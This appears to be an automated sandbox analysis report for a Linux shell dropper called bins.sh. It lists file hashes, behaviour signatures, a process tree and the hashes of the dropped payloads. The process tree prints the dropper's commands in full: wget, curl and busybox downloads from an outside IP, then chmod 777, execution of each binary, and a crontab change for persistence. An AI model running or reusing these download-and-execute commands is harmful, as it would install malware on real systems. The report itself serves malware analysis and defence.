Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 07:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    245399d5b11b1319056964a63b42e045

  • SHA1

    1226f9d148106b665043268caa31418cda073f78

  • SHA256

    d3eecd8c36ad1ce9baed5ddca10403b25037fb7db0baba17634b2343aec6e009

  • SHA512

    d7b83fe26010bb9cda4ee7d677bde605276d60d1be25c43cc4a6c4d9b98efd79a73149c4ba1f72ac3ee9c68b7201c310be79a1ca865fde0324e8ae94cdaa7482

  • SSDEEP

    192:mAw0aeSJ7lNm7dFu7I4nhhMWKnHzjWKb7EM1TXcQAd2n2T21G+tfzfz7fr8AwFIN:bO6e2T2q1G+J82q1G+BY

Malware Config

Signatures

  • Contacts a large (2157) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1491
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1492
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1493
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:1499
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:1500
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:1502
          • /usr/bin/wget
            wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /bin/chmod
            chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • File and Directory Permissions Modification
            PID:1512
          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Executes dropped EXE
            PID:1513
          • /bin/rm
            rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
              PID:1515
            • /usr/bin/wget
              wget http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1518
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/chmod
              chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • File and Directory Permissions Modification
              PID:1520
            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Executes dropped EXE
              PID:1521
            • /bin/rm
              rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
                PID:1523
              • /usr/bin/wget
                wget http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/chmod
                chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • File and Directory Permissions Modification
                PID:1527
              • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Executes dropped EXE
                PID:1528
              • /bin/rm
                rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                  PID:1530
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1532
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/chmod
                  chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1534
                • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Executes dropped EXE
                  PID:1535
                • /bin/rm
                  rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                    PID:1537
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1539
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /bin/chmod
                    chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1541
                  • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Executes dropped EXE
                    PID:1542
                  • /bin/rm
                    rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                      PID:1544
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1545
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1546
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1547
                    • /bin/chmod
                      chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1548
                    • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1549
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1551
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1552
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1553
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1554
                          • /bin/rm
                            rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                            2⤵
                              PID:1556
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                              2⤵
                              • Writes file to tmp directory
                              PID:1559
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                              2⤵
                              • Writes file to tmp directory
                              PID:1560

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC

                            Filesize

                            12KB

                            MD5

                            8539ab0904c67bf4c1ab9f0930b51d0f

                            SHA1

                            b69116900a6719d91aba73e31fda69d2325ee594

                            SHA256

                            a52bae254e75b3dfeb740981efd347fe0004fe6a55a4706795666a883c63d1d6

                            SHA512

                            0f5d77a9de86110740ed6a2b2e462610083c499d5c8a572992407f631bb4c75ef61b8234052a97d01cea2045e0acd96a5db6914e7cd5bc164081d5632f9cbee2

                          • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /var/spool/cron/crontabs/tmp.GWZ9Nf

                            Filesize

                            210B

                            MD5

                            26f02a74c1c75513a56ee51d2394d3c7

                            SHA1

                            3f21ca216b420ff345b841accc20b9ebe10c0537

                            SHA256

                            2177f6f9c690e09af50bd28d64d4b212f3bf2dc07e6700b600543e9a41d8aad0

                            SHA512

                            dc2e987fb5e8aee7a2fc51868abc7f01c86d06b5925f087ca019ffcd675aafda34633f01a82c882e559b9c9ab148781ab5a003ae3253d8ae47dea20e5d8734e9